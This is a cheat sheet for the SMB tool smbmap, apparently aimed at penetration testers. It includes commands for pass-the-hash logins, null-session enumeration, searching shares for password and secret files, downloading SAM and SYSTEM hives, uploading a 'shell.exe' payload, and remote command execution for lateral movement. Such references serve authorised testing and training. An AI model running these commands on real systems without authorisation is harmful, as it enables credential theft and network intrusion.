🌶 SMBMAP

INSTALLATION#

pip install smbmap

# Or clone
git clone https://github.com/ShawnDEvans/smbmap
cd smbmap
pip install -r requirements.txt

BASIC USAGE#

ENUMERATE SHARES#

# List shares
smbmap -H TARGET

# With credentials
smbmap -H TARGET -u username -p 'password'
smbmap -H TARGET -u username -p 'password' -d DOMAIN

# With hash
smbmap -H TARGET -u username -p 'LM:NT'
smbmap -H TARGET -u username -p ':NTHASH'

# Null session
smbmap -H TARGET -u '' -p ''
smbmap -H TARGET -u 'guest' -p ''

LIST CONTENTS#

# List share contents
smbmap -H TARGET -u user -p pass -r SHARENAME

# Recursive listing
smbmap -H TARGET -u user -p pass -R SHARENAME

# Specific depth
smbmap -H TARGET -u user -p pass -R SHARENAME --depth 3

# List all shares recursively
smbmap -H TARGET -u user -p pass -R

SEARCH FOR FILES#

# Search by pattern
smbmap -H TARGET -u user -p pass -R -A "password" --depth 5

# Search by extension
smbmap -H TARGET -u user -p pass -R -A "\.txt$" --depth 5

# Multiple patterns
smbmap -H TARGET -u user -p pass -R -A "(password|credential|secret)" --depth 5

FILE OPERATIONS#

DOWNLOAD FILES#

# Download specific file
smbmap -H TARGET -u user -p pass --download 'SHARE\path\to\file.txt'

# Download to specific location
smbmap -H TARGET -u user -p pass --download 'C$\Windows\System32\config\SAM' -o /tmp/SAM

UPLOAD FILES#

# Upload file
smbmap -H TARGET -u user -p pass --upload /local/path 'SHARE\remote\path'

DELETE FILES#

# Delete file
smbmap -H TARGET -u user -p pass --delete 'SHARE\path\to\file.txt'

COMMAND EXECUTION#

# Execute command (requires write access to share)
smbmap -H TARGET -u user -p pass -x 'ipconfig /all'

# Execute with PowerShell
smbmap -H TARGET -u user -p pass -x 'whoami' --mode psexec

MULTIPLE TARGETS#

# From file
smbmap -H targets.txt -u user -p pass

# Subnet
smbmap -H 192.168.1.0/24 -u user -p pass

OPTIONS#

CONNECTION#

-H, --host          Target host or file with hosts
-P, --port          SMB port (default: 445)
-d, --domain        Domain name
-u, --username      Username
-p, --password      Password or LM:NT hash
--prompt            Prompt for password

ENUMERATION#

-r, --recurse       List share contents
-R, --recursive     Recursively list directories
--depth N           Traversal depth (default: 5)
-A PATTERN          Search for file pattern
--exclude SHARE     Exclude share from enumeration
-q, --quiet         Suppress output

FILE OPERATIONS#

--download PATH     Download file
--upload SRC DST    Upload file
--delete PATH       Delete file
-o, --output        Output directory

EXECUTION#

-x COMMAND          Execute command
--mode              Execution mode (wmi, psexec)

PERMISSIONS LEGEND#

READ                Read access
WRITE               Write access
READ, WRITE         Both permissions
NO ACCESS           Access denied

COMMON SCENARIOS#

INITIAL ENUMERATION#

# Anonymous/guest access
smbmap -H TARGET -u '' -p ''
smbmap -H TARGET -u 'guest' -p ''

# With valid creds
smbmap -H TARGET -u user -p pass -d DOMAIN

FIND SENSITIVE DATA#

# Common patterns
smbmap -H TARGET -u user -p pass -R -A "password" --depth 10
smbmap -H TARGET -u user -p pass -R -A "\.config$" --depth 10
smbmap -H TARGET -u user -p pass -R -A "(web\.config|appsettings)" --depth 10

# Scripts and code
smbmap -H TARGET -u user -p pass -R -A "\.(ps1|bat|vbs|cmd)$" --depth 5

# Database files
smbmap -H TARGET -u user -p pass -R -A "\.(sql|mdb|accdb)$" --depth 5

LATERAL MOVEMENT#

# Check admin shares
smbmap -H TARGET -u admin -p pass

# If C$ accessible:
# - Download SAM/SYSTEM
# - Upload tools
# - Execute commands

# Download registry hives
smbmap -H TARGET -u admin -p pass --download 'C$\Windows\System32\config\SAM'
smbmap -H TARGET -u admin -p pass --download 'C$\Windows\System32\config\SYSTEM'

WRITABLE SHARE ABUSE#

# Find writable shares
# Look for WRITE permission

# Upload payload
smbmap -H TARGET -u user -p pass --upload shell.exe 'SHARE\shell.exe'

# Or WebDAV/shortcut attacks

INTEGRATION#

WITH CRACKMAPEXEC#

# CrackMapExec for large scale
nxc smb RANGE -u user -p pass --shares

# SMBMap for detailed exploration
smbmap -H TARGET -u user -p pass -R

WITH IMPACKET#

# Use smbclient.py for interactive
smbclient.py DOMAIN/user:pass@TARGET

# Use psexec after finding admin access
psexec.py DOMAIN/user:pass@TARGET

OUTPUT PARSING#

# Parse output
smbmap -H TARGET -u user -p pass 2>/dev/null | grep -E "(READ|WRITE)"

# JSON output
smbmap -H TARGET -u user -p pass --json

COMMON SHARES#

ADMIN$          Administrative share (C:\Windows)
C$              C: drive
IPC$            Inter-process communication
NETLOGON        Logon scripts
SYSVOL          Group Policy
print$          Printer drivers
Users           User home directories

QUICK REFERENCE#

smbmap -H IP -u user -p pass                    # Enum shares
smbmap -H IP -u user -p pass -r SHARE           # List contents
smbmap -H IP -u user -p pass -R                 # Recursive list
smbmap -H IP -u user -p pass -R -A "password"   # Search files
smbmap -H IP -u user -p pass --download PATH    # Download file
smbmap -H IP -u user -p pass --upload SRC DST   # Upload file
smbmap -H IP -u user -p pass -x "command"       # Execute command